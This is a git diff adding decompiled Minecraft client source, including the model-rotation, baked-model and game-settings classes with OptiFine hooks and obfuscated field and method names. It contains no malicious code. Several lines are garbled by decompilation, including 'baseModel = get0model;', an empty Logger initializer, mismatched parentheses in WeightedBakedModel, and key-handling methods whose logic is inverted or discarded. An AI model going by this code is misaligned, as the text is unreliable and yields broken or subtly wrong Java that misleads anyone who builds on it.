+    return func_177520_a(facing, vertexIndex);
+  }
+  
+  static
+  {
+    field_177546_q = Maps.newHashMap();
+    
+
+
+
+
+
+    $VALUES = new ModelRotation[] { X0_Y0, X0_Y90, X0_Y180, X0_Y270, X90_Y0, X90_Y90, X90_Y180, X90_Y270, X180_Y0, X180_Y90, X180_Y180, X180_Y270, X270_Y0, X270_Y90, X270_Y180, X270_Y270 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    ModelRotation[] var0 = values();
+    int var1 = var0.length;
+    
+    for (int var2 = 0; var2 < var1; var2++)
+    {
+      ModelRotation var3 = var0[var2];
+      field_177546_q.put(Integer.valueOf(field_177545_r), var3);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/model/SimpleBakedModel.java b/src/minecraft/net/minecraft/client/resources/model/SimpleBakedModel.java
new file mode 100644
index 0000000..ad1b323
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/model/SimpleBakedModel.java
@@ -0,0 +1,168 @@
+package net.minecraft.client.resources.model;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.renderer.block.model.BreakingFour;
+import net.minecraft.client.renderer.block.model.ItemCameraTransforms;
+import net.minecraft.client.renderer.block.model.ModelBlock;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.util.EnumFacing;
+
+public class SimpleBakedModel implements IBakedModel
+{
+  protected final List field_177563_a;
+  protected final List field_177561_b;
+  protected final boolean field_177562_c;
+  protected final boolean ambientOcclusion;
+  protected final TextureAtlasSprite texture;
+  protected final ItemCameraTransforms field_177558_f;
+  private static final String __OBFID = "CL_00002386";
+  
+  public SimpleBakedModel(List p_i46077_1_, List p_i46077_2_, boolean p_i46077_3_, boolean p_i46077_4_, TextureAtlasSprite p_i46077_5_, ItemCameraTransforms p_i46077_6_)
+  {
+    field_177563_a = p_i46077_1_;
+    field_177561_b = p_i46077_2_;
+    field_177562_c = p_i46077_3_;
+    ambientOcclusion = p_i46077_4_;
+    texture = p_i46077_5_;
+    field_177558_f = p_i46077_6_;
+  }
+  
+  public List func_177551_a(EnumFacing p_177551_1_)
+  {
+    return (List)field_177561_b.get(p_177551_1_.ordinal());
+  }
+  
+  public List func_177550_a()
+  {
+    return field_177563_a;
+  }
+  
+  public boolean isGui3d()
+  {
+    return field_177562_c;
+  }
+  
+  public boolean isAmbientOcclusionEnabled()
+  {
+    return ambientOcclusion;
+  }
+  
+  public boolean isBuiltInRenderer()
+  {
+    return false;
+  }
+  
+  public TextureAtlasSprite getTexture()
+  {
+    return texture;
+  }
+  
+  public ItemCameraTransforms getItemCameraTransforms()
+  {
+    return field_177558_f;
+  }
+  
+  public static class Builder
+  {
+    private final List field_177656_a;
+    private final List field_177654_b;
+    private final boolean field_177655_c;
+    private TextureAtlasSprite field_177652_d;
+    private boolean field_177653_e;
+    private ItemCameraTransforms field_177651_f;
+    private static final String __OBFID = "CL_00002385";
+    
+    public Builder(ModelBlock p_i46074_1_)
+    {
+      this(p_i46074_1_.func_178309_b(), p_i46074_1_.isAmbientOcclusionEnabled(), new ItemCameraTransforms(p_i46074_1_.getThirdPersonTransform(), p_i46074_1_.getFirstPersonTransform(), p_i46074_1_.getHeadTransform(), p_i46074_1_.getInGuiTransform()));
+    }
+    
+    public Builder(IBakedModel p_i46075_1_, TextureAtlasSprite p_i46075_2_)
+    {
+      this(p_i46075_1_.isGui3d(), p_i46075_1_.isAmbientOcclusionEnabled(), p_i46075_1_.getItemCameraTransforms());
+      field_177652_d = p_i46075_1_.getTexture();
+      EnumFacing[] var3 = EnumFacing.values();
+      int var4 = var3.length;
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        EnumFacing var6 = var3[var5];
+        func_177649_a(p_i46075_1_, p_i46075_2_, var6);
+      }
+      
+      func_177647_a(p_i46075_1_, p_i46075_2_);
+    }
+    
+    private void func_177649_a(IBakedModel p_177649_1_, TextureAtlasSprite p_177649_2_, EnumFacing p_177649_3_)
+    {
+      Iterator var4 = p_177649_1_.func_177551_a(p_177649_3_).iterator();
+      
+      while (var4.hasNext())
+      {
+        BakedQuad var5 = (BakedQuad)var4.next();
+        func_177650_a(p_177649_3_, new BreakingFour(var5, p_177649_2_));
+      }
+    }
+    
+    private void func_177647_a(IBakedModel p_177647_1_, TextureAtlasSprite p_177647_2_)
+    {
+      Iterator var3 = p_177647_1_.func_177550_a().iterator();
+      
+      while (var3.hasNext())
+      {
+        BakedQuad var4 = (BakedQuad)var3.next();
+        func_177648_a(new BreakingFour(var4, p_177647_2_));
+      }
+    }
+    
+    private Builder(boolean p_i46076_1_, boolean p_i46076_2_, ItemCameraTransforms p_i46076_3_)
+    {
+      field_177656_a = Lists.newArrayList();
+      field_177654_b = Lists.newArrayListWithCapacity(6);
+      EnumFacing[] var4 = EnumFacing.values();
+      int var5 = var4.length;
+      
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        EnumFacing var10000 = var4[var6];
+        field_177654_b.add(Lists.newArrayList());
+      }
+      
+      field_177655_c = p_i46076_1_;
+      field_177653_e = p_i46076_2_;
+      field_177651_f = p_i46076_3_;
+    }
+    
+    public Builder func_177650_a(EnumFacing p_177650_1_, BakedQuad p_177650_2_)
+    {
+      ((List)field_177654_b.get(p_177650_1_.ordinal())).add(p_177650_2_);
+      return this;
+    }
+    
+    public Builder func_177648_a(BakedQuad p_177648_1_)
+    {
+      field_177656_a.add(p_177648_1_);
+      return this;
+    }
+    
+    public Builder func_177646_a(TextureAtlasSprite p_177646_1_)
+    {
+      field_177652_d = p_177646_1_;
+      return this;
+    }
+    
+    public IBakedModel func_177645_b()
+    {
+      if (field_177652_d == null)
+      {
+        throw new RuntimeException("Missing particle!");
+      }
+      
+
+      return new SimpleBakedModel(field_177656_a, field_177654_b, field_177655_c, field_177653_e, field_177652_d, field_177651_f);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/model/WeightedBakedModel.java b/src/minecraft/net/minecraft/client/resources/model/WeightedBakedModel.java
new file mode 100644
index 0000000..1bcd32c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/model/WeightedBakedModel.java
@@ -0,0 +1,130 @@
+package net.minecraft.client.resources.model;
+
+import com.google.common.collect.ComparisonChain;
+import com.google.common.collect.Lists;
+import java.util.Collections;
+import java.util.List;
+import net.minecraft.client.renderer.block.model.ItemCameraTransforms;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.WeightedRandom;
+import net.minecraft.util.WeightedRandom.Item;
+
+public class WeightedBakedModel implements IBakedModel
+{
+  private final int totalWeight;
+  private final List models;
+  private final IBakedModel baseModel;
+  private static final String __OBFID = "CL_00002384";
+  
+  public WeightedBakedModel(List p_i46073_1_)
+  {
+    models = p_i46073_1_;
+    totalWeight = WeightedRandom.getTotalWeight(p_i46073_1_);
+    baseModel = get0model;
+  }
+  
+  public List func_177551_a(EnumFacing p_177551_1_)
+  {
+    return baseModel.func_177551_a(p_177551_1_);
+  }
+  
+  public List func_177550_a()
+  {
+    return baseModel.func_177550_a();
+  }
+  
+  public boolean isGui3d()
+  {
+    return baseModel.isGui3d();
+  }
+  
+  public boolean isAmbientOcclusionEnabled()
+  {
+    return baseModel.isAmbientOcclusionEnabled();
+  }
+  
+  public boolean isBuiltInRenderer()
+  {
+    return baseModel.isBuiltInRenderer();
+  }
+  
+  public net.minecraft.client.renderer.texture.TextureAtlasSprite getTexture()
+  {
+    return baseModel.getTexture();
+  }
+  
+  public ItemCameraTransforms getItemCameraTransforms()
+  {
+    return baseModel.getItemCameraTransforms();
+  }
+  
+  public IBakedModel func_177564_a(long p_177564_1_)
+  {
+    return func_180166_amodels, Math.abs((int)p_177564_1_ >> 16) % totalWeight)).model;
+  }
+  
+  public static class Builder
+  {
+    private List field_177678_a = Lists.newArrayList();
+    private static final String __OBFID = "CL_00002383";
+    
+    public Builder() {}
+    
+    public Builder add(IBakedModel p_177677_1_, int p_177677_2_) { field_177678_a.add(new WeightedBakedModel.MyWeighedRandomItem(p_177677_1_, p_177677_2_));
+      return this;
+    }
+    
+    public WeightedBakedModel build()
+    {
+      Collections.sort(field_177678_a);
+      return new WeightedBakedModel(field_177678_a);
+    }
+    
+    public IBakedModel first()
+    {
+      return field_177678_a.get(0)).model;
+    }
+  }
+  
+  static class MyWeighedRandomItem extends WeightedRandom.Item implements Comparable
+  {
+    protected final IBakedModel model;
+    private static final String __OBFID = "CL_00002382";
+    
+    public MyWeighedRandomItem(IBakedModel p_i46072_1_, int p_i46072_2_)
+    {
+      super();
+      model = p_i46072_1_;
+    }
+    
+    public int func_177634_a(MyWeighedRandomItem p_177634_1_)
+    {
+      return ComparisonChain.start().compare(itemWeight, itemWeight).compare(func_177635_a(), p_177634_1_.func_177635_a()).result();
+    }
+    
+    protected int func_177635_a()
+    {
+      int var1 = model.func_177550_a().size();
+      EnumFacing[] var2 = EnumFacing.values();
+      int var3 = var2.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        EnumFacing var5 = var2[var4];
+        var1 += model.func_177551_a(var5).size();
+      }
+      
+      return var1;
+    }
+    
+    public String toString()
+    {
+      return "MyWeighedRandomItem{weight=" + itemWeight + ", model=" + model + '}';
+    }
+    
+    public int compareTo(Object p_compareTo_1_)
+    {
+      return func_177634_a((MyWeighedRandomItem)p_compareTo_1_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/settings/GameSettings.java b/src/minecraft/net/minecraft/client/settings/GameSettings.java
new file mode 100644
index 0000000..6ede8ce
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/settings/GameSettings.java
@@ -0,0 +1,3464 @@
+package net.minecraft.client.settings;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import com.google.gson.Gson;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.PrintWriter;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.audio.SoundCategory;
+import net.minecraft.client.audio.SoundHandler;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiIngame;
+import net.minecraft.client.gui.GuiNewChat;
+import net.minecraft.client.renderer.EntityRenderer;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.resources.LanguageManager;
+import net.minecraft.client.stream.IStream;
+import net.minecraft.entity.player.EntityPlayer.EnumChatVisibility;
+import net.minecraft.entity.player.EnumPlayerModelParts;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.EnumDifficulty;
+import optifine.Config;
+import optifine.CustomColors;
+import optifine.CustomSky;
+import optifine.Lang;
+import optifine.NaturalTextures;
+import optifine.Reflector;
+import optifine.ReflectorClass;
+import org.apache.commons.lang3.ArrayUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.Display;
+import shadersmod.client.Shaders;
+
+public class GameSettings
+{
+  private static final Logger logger = ;
+  private static final Gson gson = new Gson();
+  private static final ParameterizedType typeListString = new ParameterizedType()
+  {
+    private static final String __OBFID = "CL_00000651";
+    
+    public Type[] getActualTypeArguments() {
+      return new Type[] { String.class };
+    }
+    
+    public Type getRawType() {
+      return List.class;
+    }
+    
+    public Type getOwnerType() {
+      return null;
+    }
+  };
+  
+
+  private static final String[] GUISCALES = { "options.guiScale.auto", "options.guiScale.small", "options.guiScale.normal", "options.guiScale.large" };
+  private static final String[] PARTICLES = { "options.particles.all", "options.particles.decreased", "options.particles.minimal" };
+  private static final String[] AMBIENT_OCCLUSIONS = { "options.ao.off", "options.ao.min", "options.ao.max" };
+  private static final String[] STREAM_COMPRESSIONS = { "options.stream.compression.low", "options.stream.compression.medium", "options.stream.compression.high" };
+  private static final String[] STREAM_CHAT_MODES = { "options.stream.chat.enabled.streaming", "options.stream.chat.enabled.always", "options.stream.chat.enabled.never" };
+  private static final String[] STREAM_CHAT_FILTER_MODES = { "options.stream.chat.userFilter.all", "options.stream.chat.userFilter.subs", "options.stream.chat.userFilter.mods" };
+  private static final String[] STREAM_MIC_MODES = { "options.stream.mic_toggle.mute", "options.stream.mic_toggle.talk" };
+  public float mouseSensitivity = 0.5F;
+  public boolean invertMouse;
+  public int renderDistanceChunks = -1;
+  public boolean viewBobbing = true;
+  public boolean anaglyph;
+  public boolean fboEnable = true;
+  public int limitFramerate = 120;
+  
+
+  public boolean clouds = true;
+  public boolean fancyGraphics = true;
+  
+
+  public int ambientOcclusion = 2;
+  public List resourcePacks = Lists.newArrayList();
+  
+  public EntityPlayer.EnumChatVisibility chatVisibility;
+  
+  public boolean chatColours;
+  
+  public boolean chatLinks;
+  
+  public boolean chatLinksPrompt;
+  
+  public float chatOpacity;
+  
+  public boolean snooperEnabled;
+  
+  public boolean fullScreen;
+  
+  public boolean enableVsync;
+  
+  public boolean field_178881_t;
+  
+  public boolean field_178880_u;
+  
+  public boolean field_178879_v;
+  
+  public boolean hideServerAddress;
+  
+  public boolean advancedItemTooltips;
+  
+  public boolean pauseOnLostFocus;
+  
+  private final Set field_178882_aU;
+  
+  public boolean touchscreen;
+  
+  public int overrideWidth;
+  
+  public int overrideHeight;
+  public boolean heldItemTooltips;
+  public float chatScale;
+  public float chatWidth;
+  public float chatHeightUnfocused;
+  public float chatHeightFocused;
+  public boolean showInventoryAchievementHint;
+  public int mipmapLevels;
+  private Map mapSoundLevels;
+  public float streamBytesPerPixel;
+  public float streamMicVolume;
+  public float streamGameVolume;
+  public float streamKbps;
+  public float streamFps;
+  public int streamCompression;
+  public boolean streamSendMetadata;
+  public String streamPreferredServer;
+  public int streamChatEnabled;
+  public int streamChatUserFilter;
+  public int streamMicToggleBehavior;
+  public KeyBinding keyBindForward;
+  public KeyBinding keyBindLeft;
+  public KeyBinding keyBindBack;
+  public KeyBinding keyBindRight;
+  public KeyBinding keyBindJump;
+  public KeyBinding keyBindSneak;
+  public KeyBinding keyBindInventory;
+  public KeyBinding keyBindUseItem;
+  public KeyBinding keyBindDrop;
+  public KeyBinding keyBindAttack;
+  public KeyBinding keyBindPickBlock;
+  public KeyBinding keyBindSprint;
+  public KeyBinding keyBindChat;
+  public KeyBinding keyBindPlayerList;
+  public KeyBinding keyBindCommand;
+  public KeyBinding keyBindScreenshot;
+  public KeyBinding keyBindTogglePerspective;
+  public KeyBinding keyBindSmoothCamera;
+  public KeyBinding keyBindFullscreen;
+  public KeyBinding field_178883_an;
+  public KeyBinding keyBindStreamStartStop;
+  public KeyBinding keyBindStreamPauseUnpause;
+  public KeyBinding keyBindStreamCommercials;
+  public KeyBinding keyBindStreamToggleMic;
+  public KeyBinding[] keyBindsHotbar;
+  public KeyBinding[] keyBindings;
+  protected Minecraft mc;
+  private File optionsFile;
+  public EnumDifficulty difficulty;
+  public boolean hideGUI;
+  public int thirdPersonView;
+  public boolean showDebugInfo;
+  public boolean showDebugProfilerChart;
+  public String lastServer;
+  public boolean smoothCamera;
+  public boolean debugCamEnable;
+  public float fovSetting;
+  public float gammaSetting;
+  public float saturation;
+  public int guiScale;
+  public int particleSetting;
+  public String language;
+  public boolean forceUnicodeFont;
+  private static final String __OBFID = "CL_00000650";
+  public int ofFogType = 1;
+  public float ofFogStart = 0.8F;
+  public int ofMipmapType = 0;
+  public boolean ofOcclusionFancy = false;
+  public boolean ofSmoothFps = false;
+  public boolean ofSmoothWorld = Config.isSingleProcessor();
+  public boolean ofLazyChunkLoading = Config.isSingleProcessor();
+  public float ofAoLevel = 1.0F;
+  public int ofAaLevel = 0;
+  public int ofAfLevel = 1;
+  public int ofClouds = 0;
+  public float ofCloudsHeight = 0.0F;
+  public int ofTrees = 0;
+  public int ofRain = 0;
+  public int ofDroppedItems = 0;
+  public int ofBetterGrass = 3;
+  public int ofAutoSaveTicks = 4000;
+  public boolean ofLagometer = false;
+  public boolean ofProfiler = false;
+  public boolean ofShowFps = false;
+  public boolean ofWeather = true;
+  public boolean ofSky = true;
+  public boolean ofStars = true;
+  public boolean ofSunMoon = true;
+  public int ofVignette = 0;
+  public int ofChunkUpdates = 1;
+  public boolean ofChunkUpdatesDynamic = false;
+  public int ofTime = 0;
+  public boolean ofClearWater = false;
+  public boolean ofBetterSnow = false;
+  public String ofFullscreenMode = "Default";
+  public boolean ofSwampColors = true;
+  public boolean ofRandomMobs = true;
+  public boolean ofSmoothBiomes = true;
+  public boolean ofCustomFonts = true;
+  public boolean ofCustomColors = true;
+  public boolean ofCustomSky = true;
+  public boolean ofShowCapes = true;
+  public int ofConnectedTextures = 2;
+  public boolean ofCustomItems = true;
+  public boolean ofNaturalTextures = false;
+  public boolean ofFastMath = false;
+  public boolean ofFastRender = false;
+  public int ofTranslucentBlocks = 0;
+  public boolean ofDynamicFov = true;
+  public int ofDynamicLights = 3;
+  public int ofAnimatedWater = 0;
+  public int ofAnimatedLava = 0;
+  public boolean ofAnimatedFire = true;
+  public boolean ofAnimatedPortal = true;
+  public boolean ofAnimatedRedstone = true;
+  public boolean ofAnimatedExplosion = true;
+  public boolean ofAnimatedFlame = true;
+  public boolean ofAnimatedSmoke = true;
+  public boolean ofVoidParticles = true;
+  public boolean ofWaterParticles = true;
+  public boolean ofRainSplash = true;
+  public boolean ofPortalParticles = true;
+  public boolean ofPotionParticles = true;
+  public boolean ofFireworkParticles = true;
+  public boolean ofDrippingWaterLava = true;
+  public boolean ofAnimatedTerrain = true;
+  public boolean ofAnimatedTextures = true;
+  public static final int DEFAULT = 0;
+  public static final int FAST = 1;
+  public static final int FANCY = 2;
+  public static final int OFF = 3;
+  public static final int SMART = 4;
+  public static final int ANIM_ON = 0;
+  public static final int ANIM_GENERATED = 1;
+  public static final int ANIM_OFF = 2;
+  public static final String DEFAULT_STR = "Default";
+  private static final int[] OF_TREES_VALUES = { 0, 1, 4, 2 };
+  private static final int[] OF_DYNAMIC_LIGHTS = { 3, 1, 2 };
+  private static final String[] KEYS_DYNAMIC_LIGHTS = { "options.off", "options.graphics.fast", "options.graphics.fancy" };
+  public KeyBinding ofKeyBindZoom;
+  private File optionsFileOF;
+  
+  public GameSettings(Minecraft mcIn, File p_i46326_2_)
+  {
+    chatVisibility = EntityPlayer.EnumChatVisibility.FULL;
+    chatColours = true;
+    chatLinks = true;
+    chatLinksPrompt = true;
+    chatOpacity = 1.0F;
+    snooperEnabled = true;
+    enableVsync = true;
+    field_178881_t = false;
+    field_178880_u = true;
+    field_178879_v = false;
+    pauseOnLostFocus = true;
+    field_178882_aU = Sets.newHashSet(EnumPlayerModelParts.values());
+    heldItemTooltips = true;
+    chatScale = 1.0F;
+    chatWidth = 1.0F;
+    chatHeightUnfocused = 0.44366196F;
+    chatHeightFocused = 1.0F;
+    showInventoryAchievementHint = true;
+    mipmapLevels = 4;
+    mapSoundLevels = Maps.newEnumMap(SoundCategory.class);
+    streamBytesPerPixel = 0.5F;
+    streamMicVolume = 1.0F;
+    streamGameVolume = 1.0F;
+    streamKbps = 0.5412844F;
+    streamFps = 0.31690142F;
+    streamCompression = 1;
+    streamSendMetadata = true;
+    streamPreferredServer = "";
+    streamChatEnabled = 0;
+    streamChatUserFilter = 0;
+    streamMicToggleBehavior = 0;
+    keyBindForward = new KeyBinding("key.forward", 17, "key.categories.movement");
+    keyBindLeft = new KeyBinding("key.left", 30, "key.categories.movement");
+    keyBindBack = new KeyBinding("key.back", 31, "key.categories.movement");
+    keyBindRight = new KeyBinding("key.right", 32, "key.categories.movement");
+    keyBindJump = new KeyBinding("key.jump", 57, "key.categories.movement");
+    keyBindSneak = new KeyBinding("key.sneak", 42, "key.categories.movement");
+    keyBindInventory = new KeyBinding("key.inventory", 18, "key.categories.inventory");
+    keyBindUseItem = new KeyBinding("key.use", -99, "key.categories.gameplay");
+    keyBindDrop = new KeyBinding("key.drop", 16, "key.categories.gameplay");
+    keyBindAttack = new KeyBinding("key.attack", -100, "key.categories.gameplay");
+    keyBindPickBlock = new KeyBinding("key.pickItem", -98, "key.categories.gameplay");
+    keyBindSprint = new KeyBinding("key.sprint", 29, "key.categories.gameplay");
+    keyBindChat = new KeyBinding("key.chat", 20, "key.categories.multiplayer");
+    keyBindPlayerList = new KeyBinding("key.playerlist", 15, "key.categories.multiplayer");
+    keyBindCommand = new KeyBinding("key.command", 53, "key.categories.multiplayer");
+    keyBindScreenshot = new KeyBinding("key.screenshot", 60, "key.categories.misc");
+    keyBindTogglePerspective = new KeyBinding("key.togglePerspective", 63, "key.categories.misc");
+    keyBindSmoothCamera = new KeyBinding("key.smoothCamera", 0, "key.categories.misc");
+    keyBindFullscreen = new KeyBinding("key.fullscreen", 87, "key.categories.misc");
+    field_178883_an = new KeyBinding("key.spectatorOutlines", 0, "key.categories.misc");
+    keyBindStreamStartStop = new KeyBinding("key.streamStartStop", 64, "key.categories.stream");
+    keyBindStreamPauseUnpause = new KeyBinding("key.streamPauseUnpause", 65, "key.categories.stream");
+    keyBindStreamCommercials = new KeyBinding("key.streamCommercial", 0, "key.categories.stream");
+    keyBindStreamToggleMic = new KeyBinding("key.streamToggleMic", 0, "key.categories.stream");
+    keyBindsHotbar = new KeyBinding[] { new KeyBinding("key.hotbar.1", 2, "key.categories.inventory"), new KeyBinding("key.hotbar.2", 3, "key.categories.inventory"), new KeyBinding("key.hotbar.3", 4, "key.categories.inventory"), new KeyBinding("key.hotbar.4", 5, "key.categories.inventory"), new KeyBinding("key.hotbar.5", 6, "key.categories.inventory"), new KeyBinding("key.hotbar.6", 7, "key.categories.inventory"), new KeyBinding("key.hotbar.7", 8, "key.categories.inventory"), new KeyBinding("key.hotbar.8", 9, "key.categories.inventory"), new KeyBinding("key.hotbar.9", 10, "key.categories.inventory") };
+    keyBindings = ((KeyBinding[])ArrayUtils.addAll(new KeyBinding[] { keyBindAttack, keyBindUseItem, keyBindForward, keyBindLeft, keyBindBack, keyBindRight, keyBindJump, keyBindSneak, keyBindDrop, keyBindInventory, keyBindChat, keyBindPlayerList, keyBindPickBlock, keyBindCommand, keyBindScreenshot, keyBindTogglePerspective, keyBindSmoothCamera, keyBindSprint, keyBindStreamStartStop, keyBindStreamPauseUnpause, keyBindStreamCommercials, keyBindStreamToggleMic, keyBindFullscreen, field_178883_an }, keyBindsHotbar));
+    difficulty = EnumDifficulty.NORMAL;
+    lastServer = "";
+    fovSetting = 70.0F;
+    language = "en_US";
+    forceUnicodeFont = false;
+    mc = mcIn;
+    optionsFile = new File(p_i46326_2_, "options.txt");
+    optionsFileOF = new File(p_i46326_2_, "optionsof.txt");
+    limitFramerate = ((int)Options.FRAMERATE_LIMIT.getValueMax());
+    ofKeyBindZoom = new KeyBinding("of.key.zoom", 46, "key.categories.misc");
+    keyBindings = ((KeyBinding[])ArrayUtils.add(keyBindings, ofKeyBindZoom));
+    Options.RENDER_DISTANCE.setValueMax(32.0F);
+    renderDistanceChunks = 8;
+    loadOptions();
+    Config.initGameSettings(this);
+  }
+  
+  public GameSettings()
+  {
+    chatVisibility = EntityPlayer.EnumChatVisibility.FULL;
+    chatColours = true;
+    chatLinks = true;
+    chatLinksPrompt = true;
+    chatOpacity = 1.0F;
+    snooperEnabled = true;
+    enableVsync = true;
+    field_178881_t = false;
+    field_178880_u = true;
+    field_178879_v = false;
+    pauseOnLostFocus = true;
+    field_178882_aU = Sets.newHashSet(EnumPlayerModelParts.values());
+    heldItemTooltips = true;
+    chatScale = 1.0F;
+    chatWidth = 1.0F;
+    chatHeightUnfocused = 0.44366196F;
+    chatHeightFocused = 1.0F;
+    showInventoryAchievementHint = true;
+    mipmapLevels = 4;
+    mapSoundLevels = Maps.newEnumMap(SoundCategory.class);
+    streamBytesPerPixel = 0.5F;
+    streamMicVolume = 1.0F;
+    streamGameVolume = 1.0F;
+    streamKbps = 0.5412844F;
+    streamFps = 0.31690142F;
+    streamCompression = 1;
+    streamSendMetadata = true;
+    streamPreferredServer = "";
+    streamChatEnabled = 0;
+    streamChatUserFilter = 0;
+    streamMicToggleBehavior = 0;
+    keyBindForward = new KeyBinding("key.forward", 17, "key.categories.movement");
+    keyBindLeft = new KeyBinding("key.left", 30, "key.categories.movement");
+    keyBindBack = new KeyBinding("key.back", 31, "key.categories.movement");
+    keyBindRight = new KeyBinding("key.right", 32, "key.categories.movement");
+    keyBindJump = new KeyBinding("key.jump", 57, "key.categories.movement");
+    keyBindSneak = new KeyBinding("key.sneak", 42, "key.categories.movement");
+    keyBindInventory = new KeyBinding("key.inventory", 18, "key.categories.inventory");
+    keyBindUseItem = new KeyBinding("key.use", -99, "key.categories.gameplay");
+    keyBindDrop = new KeyBinding("key.drop", 16, "key.categories.gameplay");
+    keyBindAttack = new KeyBinding("key.attack", -100, "key.categories.gameplay");
+    keyBindPickBlock = new KeyBinding("key.pickItem", -98, "key.categories.gameplay");
+    keyBindSprint = new KeyBinding("key.sprint", 29, "key.categories.gameplay");
+    keyBindChat = new KeyBinding("key.chat", 20, "key.categories.multiplayer");
+    keyBindPlayerList = new KeyBinding("key.playerlist", 15, "key.categories.multiplayer");
+    keyBindCommand = new KeyBinding("key.command", 53, "key.categories.multiplayer");
+    keyBindScreenshot = new KeyBinding("key.screenshot", 60, "key.categories.misc");
+    keyBindTogglePerspective = new KeyBinding("key.togglePerspective", 63, "key.categories.misc");
+    keyBindSmoothCamera = new KeyBinding("key.smoothCamera", 0, "key.categories.misc");
+    keyBindFullscreen = new KeyBinding("key.fullscreen", 87, "key.categories.misc");
+    field_178883_an = new KeyBinding("key.spectatorOutlines", 0, "key.categories.misc");
+    keyBindStreamStartStop = new KeyBinding("key.streamStartStop", 64, "key.categories.stream");
+    keyBindStreamPauseUnpause = new KeyBinding("key.streamPauseUnpause", 65, "key.categories.stream");
+    keyBindStreamCommercials = new KeyBinding("key.streamCommercial", 0, "key.categories.stream");
+    keyBindStreamToggleMic = new KeyBinding("key.streamToggleMic", 0, "key.categories.stream");
+    keyBindsHotbar = new KeyBinding[] { new KeyBinding("key.hotbar.1", 2, "key.categories.inventory"), new KeyBinding("key.hotbar.2", 3, "key.categories.inventory"), new KeyBinding("key.hotbar.3", 4, "key.categories.inventory"), new KeyBinding("key.hotbar.4", 5, "key.categories.inventory"), new KeyBinding("key.hotbar.5", 6, "key.categories.inventory"), new KeyBinding("key.hotbar.6", 7, "key.categories.inventory"), new KeyBinding("key.hotbar.7", 8, "key.categories.inventory"), new KeyBinding("key.hotbar.8", 9, "key.categories.inventory"), new KeyBinding("key.hotbar.9", 10, "key.categories.inventory") };
+    keyBindings = ((KeyBinding[])ArrayUtils.addAll(new KeyBinding[] { keyBindAttack, keyBindUseItem, keyBindForward, keyBindLeft, keyBindBack, keyBindRight, keyBindJump, keyBindSneak, keyBindDrop, keyBindInventory, keyBindChat, keyBindPlayerList, keyBindPickBlock, keyBindCommand, keyBindScreenshot, keyBindTogglePerspective, keyBindSmoothCamera, keyBindSprint, keyBindStreamStartStop, keyBindStreamPauseUnpause, keyBindStreamCommercials, keyBindStreamToggleMic, keyBindFullscreen, field_178883_an }, keyBindsHotbar));
+    difficulty = EnumDifficulty.NORMAL;
+    lastServer = "";
+    fovSetting = 70.0F;
+    language = "en_US";
+    forceUnicodeFont = false;
+  }
+  
+
+
+
+  public static String getKeyDisplayString(int p_74298_0_)
+  {
+    return p_74298_0_ < 256 ? org.lwjgl.input.Keyboard.getKeyName(p_74298_0_) : p_74298_0_ < 0 ? I18n.format("key.mouseButton", new Object[] { Integer.valueOf(p_74298_0_ + 101) }) : String.format("%c", new Object[] { Character.valueOf((char)(p_74298_0_ - 256)) }).toUpperCase();
+  }
+  
+
+
+
+  public static boolean isKeyDown(KeyBinding p_100015_0_)
+  {
+    int keyCode = p_100015_0_.getKeyCode();
+    return p_100015_0_.getKeyCode() != 0;
+  }
+  
+
+
+
+  public void setOptionKeyBinding(KeyBinding p_151440_1_, int p_151440_2_)
+  {
+    p_151440_1_.setKeyCode(p_151440_2_);
+    saveOptions();
+  }
+  
+
+
+
+  public void setOptionFloatValue(Options p_74304_1_, float p_74304_2_)
+  {
+    setOptionFloatValueOF(p_74304_1_, p_74304_2_);
+    
+    if (p_74304_1_ == Options.SENSITIVITY)
+    {
+      mouseSensitivity = p_74304_2_;
+    }
+    
+    if (p_74304_1_ == Options.FOV)
+    {
+      fovSetting = p_74304_2_;
+    }
+    
+    if (p_74304_1_ == Options.GAMMA)
+    {
+      gammaSetting = p_74304_2_;
+    }
+    
+    if (p_74304_1_ == Options.FRAMERATE_LIMIT)
+    {
+      limitFramerate = ((int)p_74304_2_);
+      enableVsync = false;
+      
+      if (limitFramerate <= 0)
+      {
+        limitFramerate = ((int)Options.FRAMERATE_LIMIT.getValueMax());
+        enableVsync = true;
+      }
+      
+      updateVSync();
+    }
+    
+    if (p_74304_1_ == Options.CHAT_OPACITY)
+    {
+      chatOpacity = p_74304_2_;
+      mc.ingameGUI.getChatGUI().refreshChat();
+    }
+    
+    if (p_74304_1_ == Options.CHAT_HEIGHT_FOCUSED)
+    {
+      chatHeightFocused = p_74304_2_;
+      mc.ingameGUI.getChatGUI().refreshChat();
+    }
+    
